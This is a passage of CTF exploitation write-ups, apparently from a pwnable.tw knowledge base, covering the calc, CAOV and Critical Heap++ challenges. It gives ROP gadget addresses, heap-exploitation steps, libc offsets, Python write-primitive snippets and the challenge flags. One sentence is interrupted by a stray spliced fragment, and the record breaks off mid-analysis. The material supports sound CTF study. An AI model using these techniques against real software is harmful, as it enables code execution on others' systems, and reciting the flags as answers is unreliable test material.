Index](README.md)\n\n> `nc chall.pwnable.tw 10100`\n>\n> Flag: `FLAG{C:\\Windows\\System32\\calc.exe}`\n\n## Challenge Overview\n\nA statically linked, 32-bit calculator binary that evaluates arithmetic expressions. The user enters expressions like `1+2*3`, and the program prints the result. It supports `+`, `-`, `*`, `/`, and `%`. Input is read line-by-line; an empty line exits the calculator.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE # fixed base 0x08048000\n Linking: Statically linked # no libc.so — all gadgets in binary\n```\n\nThe binary is **not stripped** — symbols like `calc`, `parse_expr`, `eval`, `get_expr`, `init_pool` are visible.\n\n## Architecture\n\n### `calc()` — main calculator loop\n\n```asm\ncalc():\n sub esp, 0x5b8\n canary = gs:0x14 // stack canary at ebp-0xc\n pool[0..0x161] // operand pool at ebp-0x5a0 (int pool[0x162])\n // pool[0] = count, pool[1..N] = operands\n input_buf[0x400] // at ebp-0x40c\n\n loop:\n bzero(input_buf, 0x400)\n if (!get_expr(input_buf, 0x400)) return\n init_pool(pool) // pool[0] = 0\n if (parse_expr(input_buf, pool))\n printf(\"%d\\n\", pool[pool[0]]) // print top of operand stack\n```\n\n### `parse_expr(expr, pool)` — expression parser\n\nWalks the expression string character by character. When it encounters a digit sequence, it calls `atoi()` on it and pushes the value onto the operand pool. When it encounters an operator (`+`, `-`, `*`, `/`, `%`), it calls `eval(pool, op)` to fold the top two operands.\n\n**Critical code path** — when a number is parsed:\n\n```c\nnum = atoi(token);\nif (num > 0) { // \u003c-- BUG: skips push when num == 0\n pool[0]++;\n pool[pool[0]] = num; // push operand\n}\n```\n\n### `eval(pool, op)` — evaluate operator\n\nTakes the top two operands from the pool, applies the operator, stores the result, and decrements the count:\n\n```c\n// For '+':\npool[pool[0]-2] = pool[pool[0]-2] + pool[pool[0]-1];\npool[0]--; // pop one operand\n```\n\nEquivalent pseudocode for all operators — `eval` accesses `pool[pool[0]-2]` and `pool[pool[0]-1]`, combines them, stores at `pool[pool[0]-2]`, then decrements `pool[0]`.\n\n## Vulnerability\n\n### V1 — Operand Pool Index Manipulation via Zero-Value Numbers (Primary, Exploitable)\n\n**Root Cause:** When `atoi()` returns 0 (e.g., from the token `\"00\"`), `parse_expr` does **not** push a value onto the pool, but `eval` still executes the operator against `pool[pool[0]-1]` and `pool[pool[0]-2]`. This mismatch allows the pool index (`pool[0]`) to go **negative** (or be driven to any value), enabling reads and writes to arbitrary stack offsets relative to the pool base.\n\n```c\n// parse_expr — the zero-push bug\nnum = atoi(substring);\nif (num > 0) { // 0 is NOT pushed — pool[0] stays the same\n pool[0]++;\n pool[pool[0]] = num;\n}\n// ... then eval() is called, which does pool[0]-- regardless\n```\n\n**Why this matters:** The pool lives on `calc()`'s stack at `ebp - 0x5a0`. By manipulating `pool[0]`, we can make `eval` read/write to `pool[pool[0] - 1]` which resolves to any stack address — including the **saved return address** of `calc()` and beyond.\n\n**Trigger — Reading a stack slot:**\n\nSending `+N` (where N is a positive integer) causes:\n1. `atoi(\"N\")` → push N onto pool → `pool[0] = 1`, `pool[1] = N`\n2. No more operands/operators → `printf(\"%d\\n\", pool[pool[0]])` → prints `pool[1]` = N\n\nBut sending `+360` with the right expression structure makes `eval` compute `pool[pool[0]-2] + pool[pool[0]-1]` where the index puts us at the saved EBP/EIP area. The result is printed — **leaking stack values**.\n\n**Trigger — Writing a stack slot:**\n\nSending `+361+\u003cvalue>` causes eval to write `pool[360] + \u003cvalue>` back to `pool[360]`, which is the saved return address of `calc()`. By first reading the current value and computing the needed delta, we can set it to any desired value.\n\n### Key Offsets\n\nThe pool is at `ebp - 0x5a0`, and the saved return address is at `ebp + 4`:\n\n```text\npool[0] = ebp - 0x5a0 // operand count\npool[1] = ebp - 0x59c // first operand\n...\npool[360] = ebp - 0x5a0 + 360*4 = ebp + 0x20 (saved EBP of calc)\npool[361] = ebp + 0x24 (saved EIP / return address of calc)\npool[362] = ebp + 0x28 (first ROP slot after return)\n...\n```\n\nSo **index 361** is the return address of `calc()`. Some solutions use 360 for the saved EBP and 357 for the canary.\n\n### V2 — Stack Canary Leak\n\nSince the canary is at `ebp - 0xc`, it's at pool index `(0x5a0 - 0xc) / 4 = 357`. By reading `+357`, the canary value is leaked. However, **most solutions don't need to leak or overwrite the canary** because they write the ROP chain starting at pool[361] (past the canary check) — `calc()` checks the canary, but if we only write from pool[361] onward (the return address and beyond), the canary at `ebp-0xc` is untouched.\n\n## Exploit Paths\n\nAll solutions exploit V1 to write a ROP chain onto the stack starting at the return address of `calc()`. They diverge on which syscall approach and which ROP gadgets they use.\n\n---\n\n### Path A — `execve(\"/bin/sh\", 0, 0)` via `int 0x80` ROP Chain\n\n**Used by:** Majority of solutions (~80%+)\n\nSince the binary is **statically linked**, it contains a rich set of ROP gadgets. The standard approach:\n\n1. **Write \"/bin/sh\" somewhere:** Either on the stack itself (at known offsets past the ROP chain) or to a writable `.data`/`.bss` section using `mov [edx], eax ; ret` gadgets.\n\n2. **Set registers for `execve` syscall:**\n - `eax = 0xb` (syscall number for `execve`)\n - `ebx = pointer to \"/bin/sh\"`\n - `ecx = 0` (or pointer to argv array)\n - `edx = 0` (envp)\n\n3. **Trigger `int 0x80`.**\n\n4. **Exit calculator** by sending an empty line, which causes `calc()` to return → ROP chain executes.\n\n**Common gadgets used:**\n\n```python\npop_eax = 0x0805c34b # pop eax ; ret\npop_edx = 0x080701aa # pop edx ; ret\npop_ecx_ebx = 0x080701d1 # pop ecx ; pop ebx ; ret\npop_edx_ecx_ebx = 0x080701d0 # pop edx ; pop ecx ; pop ebx ; ret\nint_0x80 = 0x08049a21 # int 0x80\nmov_mem_eax = 0x0809b30d # mov dword ptr [edx], eax ; ret\nxor_eax = 0x080550d0 # xor eax, eax ; ret\ninc_eax = 0x0807cb7f # inc eax ; ret\n```\n\n**Sub-variant A1 — Write \"/bin/sh\" to .data, then execve:**\n\nWrite \"/bin//sh\" to `.data` (0x080ec060) using `pop edx; ret` + `pop eax; ret` + `mov [edx], eax; ret` gadget chain. Then set up registers and `int 0x80`. This is the ROPgadget `--ropchain` output and used by the majority of solutions.\n\n**Sub-variant A2 — Write \"/bin/sh\" directly on the stack:**\n\nPlace \"/bin/sh\\0\" at a known stack offset (e.g., pool[369-370]) and point `ebx` to it. Requires leaking the stack address first (via reading pool[360] to get saved EBP).\n\n**Sub-variant A3 — Use `inc eax` to build syscall number:**\n\nInstead of `pop eax; 0xb`, use `xor eax, eax; ret` followed by 11× `inc eax; ret` to avoid large immediate values.\n\n---\n\n### Path B — `mprotect` + `read` → Shellcode Execution\n\n**Used by:** Solutions 1172, 1236, 1351, 1387, 1428, 10178\n\n1. **ROP to `mprotect(bss_page, 0x1000, 7)`** — makes a BSS/data page executable.\n2. **ROP to `read(0, bss_addr, size)`** — reads shellcode from stdin into the now-executable page.\n3. **Pivot execution to BSS** — either via `pop esp; ret` or `jmp bss`.\n4. **Send shellcode** as the second stage payload.\n\n```python\n# Typical layout\nmprotect = 0x0806f1f0\nread = 0x0806e6d0\npppr = 0x080701a8 # pop esi; pop ebx; pop edx; ret (to clean args)\nbss = 0x080ed000 # page-aligned BSS\n```\n\n---\n\n### Path C — Single-Expression Exploit (No Per-Slot Writes)\n\n**Used by:** Solutions 1155, 1200, 11540, 10178\n\nInstead of sending one expression per ROP slot, craft a **single long expression** that writes the entire ROP chain in one shot. This exploits the fact that the `%` (modulo) or `*` (multiply) operators combined with operand index manipulation can position values precisely.\n\nTechniques:\n- **`+N%00` trick:** `+N%00` evaluates to `pool[current_idx] % 0` but since `atoi(\"00\") = 0` doesn't push, `eval` operates on existing pool entries, effectively decrementing the index. Repeating this \"walks backward\" through the pool.\n- **Single-line chain encoding:** Express the entire ROP chain as one arithmetic expression using `+val1*1+val2*1+...` patterns.\n\n---\n\n### Path D — Stack Pivot to Deeper ROP\n\n**Used by:** Solution 100\n\n1. **Leak the stack address** via `+360` (saved EBP).\n2. **Write a large ROP chain** deep in the stack (at offsets 516/4 = 129+).\n3. **Write a stack pivot** (`xchg eax, esp; ret`) at the return address to redirect execution to the deep chain.\n\n## Write Primitive Details\n\nAll solutions need to write 32-bit values to specific pool indices. The main techniques:\n\n### Technique 1 — Read-then-delta (most common)\n\n```python\n# Read current value at pool[idx]\nsendline(\"+{idx}\")\nold = int(recvline())\n# Write desired value\ndelta = desired - old\nsendline(\"+{idx}+{delta}\" if delta >= 0 else \"+{idx}{delta}\")\n```\n\n### Technique 2 — Zero-then-set\n\n```python\n# Zero the slot first using division\nsendline(\"*{idx}/{MAX_INT}\") # pool[idx] * MAX_INT / MAX_INT ≈ 0\nsendline(\"*{idx}/{MAX_INT}\") # repeat to ensure zero\nsendline(\"*{idx}+{value}\") # then add desired value\n```\n\n### Technique 3 — Direct addition (when starting from known zero)\n\n```python\nsendline(\"+{idx}+{value}\") # works when pool[idx] starts at 0\n```\n\n## Exploit Primitive Summary\n\n| Primitive | Mechanism | Reliability |\n|-----------|-----------|-------------|\n| Arbitrary stack read | `+N` with crafted index → `printf` output | Deterministic |\n| Arbitrary stack write | `+N+delta` / `+N-delta` after reading | Deterministic |\n| Stack canary leak | Read pool[357] | Deterministic (usually not needed) |\n| Saved EBP leak | Read pool[360] | Deterministic |\n| Code execution | ROP chain at pool[361+] → `calc` returns into it | Deterministic |\n\n## Key Gadgets (in the static binary)\n\n```python\npop_eax_ret = 0x0805c34b\npop_ebx_ret = 0x080481d1\npop_ecx_ebx_ret = 0x080701d1\npop_edx_ret = 0x080701aa\npop_edx_ecx_ebx_ret = 0x080701d0\nxor_eax_ret = 0x080550d0\ninc_eax_ret = 0x0807cb7f\nmov_edx_eax_ret = 0x0809b30d # mov [edx], eax; ret\nint_0x80 = 0x08049a21\nint_0x80_ret = 0x08070880 # int 0x80; ret\n\n# For shellcode path\nmprotect = 0x0806f1f0\nread = 0x0806e6d0\npop_esi_ebx_edx_ret = 0x080701a8\npop_esp_ret = 0x080bc4f6\n\n# Writable sections\ndata_section = 0x080ec060\nbss_section = 0x080ed000\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `exp.py` | A1 | Zero-then-set write, execve via int 0x80 | Reference exploit |\n| `138.md` | A2 | Stack-based /bin/sh, leak EBP for address | Ruby; uses xor edx gadgets |\n| `100.md` | D | Stack pivot, ROP deep in stack | Leak stack addr first |\n| `1140.md` | A1 | Direct overwrite via signed arithmetic | Writes to absolute addresses |\n| `1155.md` | A1 | Minimal chain with add-delta | Short and clean |\n| `1172.md` | B | mprotect + shellcode injection | Classic two-stage |\n| `1200.md` | C | Single long expression | Uses `+val*val` encoding in one line |\n| `1220.md` | A2 | Leak EBP, place /bin/sh on stack | Read-then-delta write |\n| `1225.md` | A1 | `*idx%val` write primitive | ROPgadget --ropchain output |\n| `1236.md` | B | mprotect + read + shellcode | Standard two-stage |\n| `1259.md` | A2 | Stack /bin/sh, leak EBP | Uses xor_ecx/xor_edx gadgets |\n| `1303.md` | A1 | ROPgadget chain, read-delta writes | Clean implementation |\n| `1351.md` | B | mprotect + read → shellcode | Minimal |\n| `1387.md` | A2 | autorop + stack leak | Uses autorop library |\n| `1428.md` | B | mprotect + stack shellcode | Writes shellcode as ints |\n| `10068.md` | A2 | Leak EBP, /bin/sh on stack | pop_eax + pop_dcb + int80 |\n| `10115.md` | A2 | Canary + EBP leak, BSS /bin/sh | Writes to BSS via ROP |\n| `10178.md` | C | Single-expression via `%1` chain | Entire chain in one send |\n| `10302.md` | A2 | Leak EBP, /bin/sh on stack | Uses signed arithmetic carefully |\n| `11540.md` | A1 | `*val` encoding, two-stage (read) | Writes chain via multiplication |\n| `12245.md` | A1 | ROPgadget chain, .data /bin/sh | Chinese writeup with explanation |\n| `13484.md` | A2 | Write /bin/sh in pool, compute ebx | Clean read-delta approach |\n| `13757.md` | A1 | Automated chain generator | ROPgadget-based |\n| `14605.md` | A1 | ROPgadget chain verbatim | Standard approach |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (zero-then-set + execve ROP) |\n| `desc.txt` | Challenge description |\n| `artifacts/calc` | Original challenge binary (i386, static, not stripped) |\n| `solution/*.md` | Community write-ups (196 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13538,"content_sha256":"10b0030adc5cd686e9ad4491f857c3f0aaf15779ebbbc38c51e24b33eb96d97e"},{"filename":"pwnable-tw/caov.md","content":"---\ntags:\n - use-after-free\n - type-confusion\n - fastbin-dup\nplatform: pwnable.tw\npoints: 350\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Reusing dangling object pointers across C++ key-value edit routines causes heap type confusion, enabling fastbin corruption to overwrite the fake vtable.\"\nproof-of-concept: no\n---\n\n# CAOV — pwnable.tw (350 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10306`\n>\n> Flag: `FLAG{CAOV_stands_f0r_C0py_Ass1gnment_Operat0r_Vuln3rabil1ty_r3memb3r_alway5_r3turn_r3ference_typ3}`\n\n## Challenge Overview\n\nA C++ key-value database program (x86-64, Full RELRO, NX, No PIE, No Canary) compiled with g++ against glibc 2.23. The program manages a single `Data` object on the heap via a global pointer `D`. Users can set a name (stored in a 160-byte BSS buffer), create a key-value pair, and edit it up to 10 times. The name is \"CAOV\" — **Copy Assignment Operator Vulnerability**.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT not writable\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n```\n\nSource code is provided (`caov.cpp`).\n\n## Vulnerabilities\n\n### V1 — Copy Assignment Operator Returns by Value (Primary, Exploitable)\n\n**Root Cause:** The `Data::operator=` returns a `Data` object **by value** instead of by reference (`Data&`). This creates a temporary copy that is immediately destructed, calling `delete[] key` on a **newly allocated** key pointer — effectively causing a **use-after-free/double-free** scenario.\n\n```cpp\n// BUG: Returns Data by value, not Data&\nData operator=(const Data &rhs)\n{\n key = new char[strlen(rhs.key)+1]; // allocates new key\n strcpy(key, rhs.key);\n value = rhs.value;\n // ... copies all fields\n} // \u003c-- returned by value: temp copy created, then ~Data() called on temp\n```\n\nIn the `edit()` function:\n\n```cpp\nvoid edit() {\n Data old; // default-constructed, key=NULL\n old = *D; // operator= returns by value → creates temp\n // temp.~Data() frees temp.key (same ptr as old.key)\n D->edit_data();\n old.info(); // old.key is dangling (freed by temp's destructor)\n D->info();\n} // old.~Data() double-frees old.key\n```\n\n**Impact:** Every call to `edit()` produces a **double free** of the old key buffer.\n\n### V2 — Stack-Reuse / Uninitialized Destructor via `set_name` (Primary, Exploitable)\n\n**Root Cause:** `set_name()` and `edit()` share overlapping stack frames. The `set_name()` function writes up to 150 bytes to a stack buffer at `[rbp-0xb0]`. Then `edit()` creates a `Data old` object at the same stack location. The uninitialized `old.key` field inherits whatever `set_name` left on the stack. When `old.~Data()` runs, it calls `delete[]` on this controlled, stale pointer → **arbitrary free**.\n\n```cpp\nvoid set_name() {\n char tmp[160] = {}; // [rbp-0xb0] on stack\n // ... reads up to 150 bytes into tmp\n memcpy(name, tmp, cnt); // copies to BSS\n}\n\nvoid edit() {\n Data old; // overlaps set_name's stack frame\n // old.key is uninitialized → contains whatever set_name wrote at [rbp-0x50]\n old = *D; // operator= allocates new key, writes to old\n // ...\n} // ~Data() calls delete[] old.key\n // BUT old.key was set by the previous assignment's return-by-value temp\n // AND the stack residue from set_name controls the INITIAL old.key\n```\n\nSpecifically, `old.key` at stack offset `[rbp-0x50]` corresponds to `tmp[0x60]` in `set_name`. By placing a pointer at `name[0x60]` (byte offset 96 in the 150-byte name input), the attacker controls what address gets freed.\n\n**Impact:** Arbitrary `free()` of any address the attacker places at offset 0x60 in the name buffer.\n\n### V3 — Key Reuse When Shrinking (Enabler)\n\n```cpp\nvoid edit_data() {\n int old_len = strlen(key);\n unsigned int new_len = 0;\n // ...\n if (new_len > old_len) key = new char[new_len+1]; // only reallocates if LARGER\n set_data(new_len); // writes new_len+1 bytes into OLD key buffer\n}\n```\n\nWhen `new_len \u003c= old_len`, the old key buffer is reused without reallocation. This is important because it means the key pointer survives edits, allowing the attacker to maintain control over where `D->key` points after freeing fake chunks into its location.\n\n## Key Data Structures\n\n### Data Class (0x40 bytes on heap)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `key` | `char *` (heap-allocated) |\n| `0x08` | `value` | `long` |\n| `0x10` | `change_count` | `long` |\n| `0x18` | `year` | `int` |\n| `0x1c` | `month` | `int` |\n| `0x20` | `day` | `int` |\n| `0x24` | `hour` | `int` |\n| `0x28` | `min` | `int` |\n| `0x2c` | `sec` | `int` |\n\n### Global BSS Layout\n\n| Address | Symbol | Size |\n|---------|--------|------|\n| `0x6032A0` | `D` (global Data pointer) | 8 bytes |\n| `0x6032C0` | `name` (global name buffer) | 160 bytes |\n| `0x603280` | `stderr` (FILE pointer) | 8 bytes |\n| `0x603288` | `stdout` (FILE pointer) | 8 bytes |\n\nThe `0x7f` byte at `0x60328d` (from `stderr`/`stdout` pointers in BSS) serves as a fake fastbin size header for many exploits.\n\n## Exploit Paths\n\nAll solutions exploit V1+V2 (the copy assignment operator bug + stack reuse) to achieve arbitrary free, then diverge on how they convert that into code execution.\n\n---\n\n### Path A — Arbitrary Free → House of Spirit → Fastbin Poisoning → Overwrite `D` → Leak libc → `__malloc_hook` Overwrite\n\n**Used by:** Solutions 81, 194, 331, 1316, 1351, 3480, 3851, 5586, 6748, 8153, 32305, 34817, 36134, exp.py\n\n**Steps:**\n\n1. **Arbitrary Free via Stack Reuse (V2):** Forge a fake fastbin chunk in the BSS `name` buffer (at `name+0x10` = `0x6032D0`). Set `name[0x60]` to point to this fake chunk. Call `edit()` → `set_name` plants the pointer → `~Data()` frees the fake chunk into the fastbin.\n\n2. **Fastbin Poisoning:** The freed fake chunk's `fd` is now writable via the `name` buffer. Set `fd` to `0x603285` (where the `0x7f` byte from `stderr` pointer creates a valid-looking size for a 0x70 fastbin chunk). Trigger two allocations of the same size to get the second allocation landing at `0x603295`, which overlaps the `D` pointer at `0x6032A0`.\n\n3. **Overwrite `D`:** Write through the allocated chunk at `0x603295` to overwrite `D` (at `0x6032A0`) to point to `name` buffer. Now `D->key` is controlled via `name[0x00]`.\n\n4. **Leak libc:** Set `D->key` to a GOT entry (e.g., `strlen@GOT`, `read@GOT`) or `stderr`/`stdout` BSS pointer. Call `show()` or wait for the `info()` output after edit — the key is printed via `cout \u003c\u003c key`, leaking the libc address.\n\n5. **Second Fastbin Attack:** Repeat the House of Spirit + fastbin poisoning, this time setting `fd` to `__malloc_hook - 0x23` (where a `0x7f` byte exists in libc as a fake size). Allocate twice to land a chunk overlapping `__malloc_hook`.\n\n6. **Write One-Gadget:** Overwrite `__malloc_hook` with a one-gadget address. The next `malloc` (triggered by any key allocation) executes `execve(\"/bin/sh\")`.\n\n**Key Addresses (No PIE):**\n- Fake chunk in name: `0x6032D0`\n- `stderr` 0x7f fake size: `0x603285`\n- `D` pointer: `0x6032A0`\n- `name` buffer: `0x6032C0`\n\n---\n\n### Path B — Arbitrary Free → Free Data Object → Overlap Key with Data → Arbitrary R/W → `__malloc_hook`\n\n**Used by:** Solutions 821, 1220, 13019\n\n**Steps:**\n\n1. **Heap Leak:** Free a fake chunk from BSS, arrange fastbin so that a heap address is written into the `name` buffer (as freed chunk's fd). Read it back via `show()`.\n\n2. **Free the Data Object:** Use the heap leak to compute the address of the `Data` object. Free it via arbitrary free.\n\n3. **Allocate Key Over Data:** Allocate a key with size matching the Data object's chunk. The key now overlaps the Data object, allowing direct control of `D->key`, `D->value`, `D->change_count`.\n\n4. **Arbitrary Read:** Set `D->key` to any address → `show()` prints the content at that address. Leak libc via GOT entries.\n\n5. **Arbitrary Write:** Set `D->key` to target address → `edit()` writes new key content to that address. Write one-gadget to `__malloc_hook`.\n\n---\n\n### Path C — Arbitrary Free → Unsorted Bin → libc Leak → `__malloc_hook`\n\n**Used by:** Solutions 375, 3851\n\n**Steps:**\n\n1. **Create Larger Fake Chunk:** Forge a fake chunk in BSS with size `0xC1` or larger (past fastbin range), along with proper next-chunk headers.\n\n2. **Free to Unsorted Bin:** Arbitrary-free the fake large chunk → libc main_arena pointers (fd/bk) are written into the BSS name buffer.\n\n3. **Leak libc:** Read the unsorted bin pointers from the name buffer via `show()`.\n\n4. **Fastbin Attack:** Proceed with fastbin poisoning to overwrite `__malloc_hook` with one-gadget.\n\n---\n\n### Path D — FSOP / Vtable Hijack on stdout/stderr\n\n**Used by:** Solutions 331, 1316, 11954, exp.py\n\n**Steps:**\n\n1. **Leak libc** via Path A or B.\n\n2. **Overwrite `_IO_2_1_stdout_` or `_IO_2_1_stderr_`:** Use arbitrary write to corrupt the FILE structure's vtable pointer to point to a fake vtable in the BSS `name` buffer.\n\n3. **Populate Fake Vtable:** Fill the fake vtable with `system` address. Set the FILE's flags/name field to `\"/bin/sh\"`.\n\n4. **Trigger:** Any I/O operation (e.g., `cout \u003c\u003c`) calls through the corrupted vtable → `system(\"/bin/sh\")`.\n\nThis path is more complex but works around cases where one-gadget constraints aren't met.\n\n---\n\n### Path E — Stack Leak via `__environ` → Return Address Overwrite\n\n**Used by:** Solution 821\n\n**Steps:**\n\n1. **Leak libc** via Path A or B.\n\n2. **Leak Stack:** Set `D->key` to `__environ` in libc → `show()` prints the stack address.\n\n3. **Overwrite Return Address:** Compute the return address location on the stack. Set `D->key` to that address and write a one-gadget or ROP chain.\n\n4. **Trigger:** Choose \"Exit\" from menu → `main()` returns → one-gadget executes.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Arbitrary free | V1+V2: operator= return-by-value + stack reuse | Deterministic |\n| Fastbin poisoning | Fake chunk in BSS + `0x7f` from stderr | Deterministic |\n| Overwrite global `D` pointer | Fastbin allocation at `0x603295` | Deterministic |\n| Arbitrary read (via key) | `D->key` controlled → `cout \u003c\u003c key` | Deterministic |\n| Arbitrary write (via key edit) | `D->key` controlled → `cin.getline(key, n)` | Deterministic |\n| `__malloc_hook` overwrite | Fastbin attack near `__malloc_hook - 0x23` | Deterministic |\n| Code execution | One-gadget via `__malloc_hook` or FSOP | Deterministic |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n# libc offsets\n_IO_2_1_stderr_ = 0x3C4540\n_IO_2_1_stdout_ = 0x3C4620\n__malloc_hook = 0x3C3B10\n__free_hook = 0x3C57A8\nsystem = 0x45390\nstdin_fileno = 0x3C38E0\n\n# one_gadgets\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n\n# BSS addresses (no PIE)\nD_ptr = 0x6032A0\nname_buf = 0x6032C0\nstderr_ptr = 0x603280\nstdout_ptr = 0x603288\nfake_size = 0x603285 # 0x7f byte from stderr pointer\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `81.md` | A | House of Spirit + fastbin poison → one_gadget via time leak | Uses date fields to leak libc |\n| `194.md` | B | Arbitrary free → free Data obj → GOT leak → `__malloc_hook` | Clean structured approach |\n| `331.md` | A+D | Fastbin poison → `D` overwrite → stdout vtable hijack | FSOP finish |\n| `375.md` | A | Fastbin poison → `D` overwrite → leak stderr → fastbin `__malloc_hook` | Multiple fastbin rounds |\n| `821.md` | A+E | Fastbin → `D` overwrite → environ leak → stack ROP | Overwrites return address |\n| `1220.md` | B | Free Data obj → overlap key → GOT leak → `__malloc_hook` via fastbin | Heap address calculation |\n| `1316.md` | A+D | Fastbin → stderr leak → overwrite stderr vtable → `system` | FSOP via stderr |\n| `1351.md` | A | Fastbin → read GOT leak → `__malloc_hook` + one_gadget | Direct and clean |\n| `1763.md` | A | Fastbin poison → `__malloc_hook` leak + overwrite | Uses malloc_hook+0x48 |\n| `3480.md` | A | Fastbin + large key alloc → GOT leak → `__malloc_hook` | Uses 0x40-size fake chunks |\n| `3851.md` | A+C | Multiple fastbin rounds + unsorted bin → libc leak | Complex heap layout |\n| `5586.md` | A | Compact fastbin chain → stderr leak → `__malloc_hook` | Minimal operations |\n| `6748.md` | A | Fastbin → exit GOT leak → `__malloc_hook` | Chinese writeup with analysis |\n| `8153.md` | A | Fastbin → stderr leak → `__malloc_hook` | Clean exploit |\n| `11954.md` | A+D | Fastbin → GOT leak → stdout vtable + one_gadget | FSOP fallback |\n| `13019.md` | B+E | Free Data → GOT leak → environ → stack return overwrite | Heap + stack approach |\n| `32305.md` | A | House of Spirit → fastbin → stderr leak → `__malloc_hook` | Detailed heap layout |\n| `34817.md` | B+C | Free Data → unsorted bin → libc leak → `__malloc_hook` | Heap-heavy approach |\n| `36134.md` | A | House of Spirit → fastbin poison → `__malloc_hook` | Well-documented steps |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `artifacts/caov.cpp` | Challenge source code (provided by author) |\n| `artifacts/caov` | Challenge binary (x86-64, Full RELRO, No PIE) |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `exp.py` | Working exploit script |\n| `desc.txt` | Challenge description |\n| `solution/*.md` | Community write-ups (52 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13697,"content_sha256":"1ba8bfcc908cb146ab4a501a028ea9493d00a0dce506766f1315d514c0a78f8e"},{"filename":"pwnable-tw/criticalheap_pp.md","content":"---\ntags:\n - type-confusion\n - use-after-free\n - arbitrary-write\nplatform: pwnable.tw\npoints: 600\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Polymorphic C++ object destruction without virtual destructors leads to dangling pointer reuse and type confusion, achieving arbitrary memory write.\"\nproof-of-concept: no\n---\n\n# Critical Heap++ — pwnable.tw (600 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10500`\n>\n> Flag: `FLAG{Cr1t1c4l_h34p_is_very_cr4zyyyyyyyyyy}`\n>\n> Note: A decoy flag `FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}` can be read via the `localtime()`/TZ trick without a shell. The real flag requires shell → running the setuid `get_flag` binary with passphrase `\"Crazy heap !!\"`.\n\n## Challenge Overview\n\nA heap management program (x86-64, **Full RELRO**, Canary, NX, **no PIE** base `0x400000`) linked against glibc 2.23. It maintains up to 10 heap slots (in a BSS array at `0x604040`, each `0x48` bytes) with three types: Normal, Clock, and System. The binary contains **no explicit `free()` calls** — all heap frees happen indirectly through libc internals (`setenv`/`realloc`, `localtime`/`tzset`, `realpath`).\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n```\n\n### Heap Types\n\n| Type | Magic | Capabilities |\n|------|-------|-------------|\n| Normal (`1`) | `0x13371337` | Show/Change content (format-string-vulnerable `printf`), name buffer |\n| Clock (`2`) | `0xdeadbeef` | Show/Update time (`localtime()` → triggers `tzset()` → frees old TZ) |\n| System (`3`) | `0x48694869` | `setenv`/`unsetenv`/`realpath`/`getenv` — interacts with libc heap internals |\n\n### Menu\n\n`1.Create / 2.Show / 3.Rename / 4.Play / 5.Delete / 6.Exit`\n\n## Vulnerabilities\n\n### V1 — `realpath(buf, buf)` Heap Buffer Overflow (Primary, Exploitable)\n\n**Root Cause:** When playing a System heap, option 3 (\"Get real path\") calls `realpath(path, path)` where `path` is the same heap buffer for both source and destination. When `path` is a short relative path like `\".\"`, `realpath` resolves it to the full absolute path (e.g., `\"/home/critical_heap++/home\"` — 26 bytes) and writes back into the same small buffer, **overflowing into the next heap chunk's metadata**.\n\n```c\n// Simplified from decompilation\nchar *path = entry->cwd; // from get_current_dir_name(), can be \".\"\nrealpath(path, path); // source == destination → overflow\n```\n\n**Trigger:** Set `PWD=\".\"` via `unsetenv(\"PWD\")` + `setenv(\"PWD\", \".\")`, then create a System heap (which calls `get_current_dir_name()` — returns `strdup(\".\")` when `PWD` matches `.`). Call `realpath` on it.\n\n**Impact:** Overwrites the `size` field of the adjacent free chunk with `0x656d` (ASCII `\"me\"` from `/home/critical_heap++/ho**me**`). This creates a massively oversized free chunk that spans far beyond its actual allocation, enabling controlled overlapping allocations.\n\n```c\n// PoC demonstrating the overflow:\nsetenv(\"PWD\", \".\", 1);\nchar *c = get_current_dir_name(); // returns \".\" (malloc'd, tiny chunk)\n// allocate victim right after\nchar *victim = malloc(1); // victim chunk size = 0x21\nrealpath(c, c); // overflow! writes \"/home/critical_heap++/home\"\n// victim chunk size is now 0x656d\n```\n\n### V2 — Format String Read via Normal Heap (Exploitable)\n\n**Root Cause:** `Play → Normal → 1.Show content` calls `__printf_chk(1, content)` where content is user-controlled. Although FORTIFY blocks `%n` and positional `%N ctf-pwn — Skillopedia , sequential `%c`/`%p`/`%s` still work for reading.\n\n```c\n// User controls content via \"Change content\"\n__printf_chk(1, content); // format string vuln — arbitrary read\n```\n\n**Trigger:** Set content to `\"%c\"*11 + \"%s\" + p64(target_addr)`. The `%s` reads from the target address (placed on the stack via the `read()` → `strncpy()` path).\n\n**Impact:** Arbitrary memory read. Used to leak:\n- **libc base** (read GOT entries like `atoi@GOT` at fixed addresses since no PIE)\n- **heap addresses** (read residual pointers from name/content buffers)\n- **stack addresses** (read `environ` pointer from libc)\n\n### V3 — `localtime()`/`tzset()` Controlled Free (Enabler)\n\n**Root Cause:** When `TZ` environment variable changes, `tzset()` (called by `localtime()`) frees the old timezone data buffer and allocates a new one. By controlling 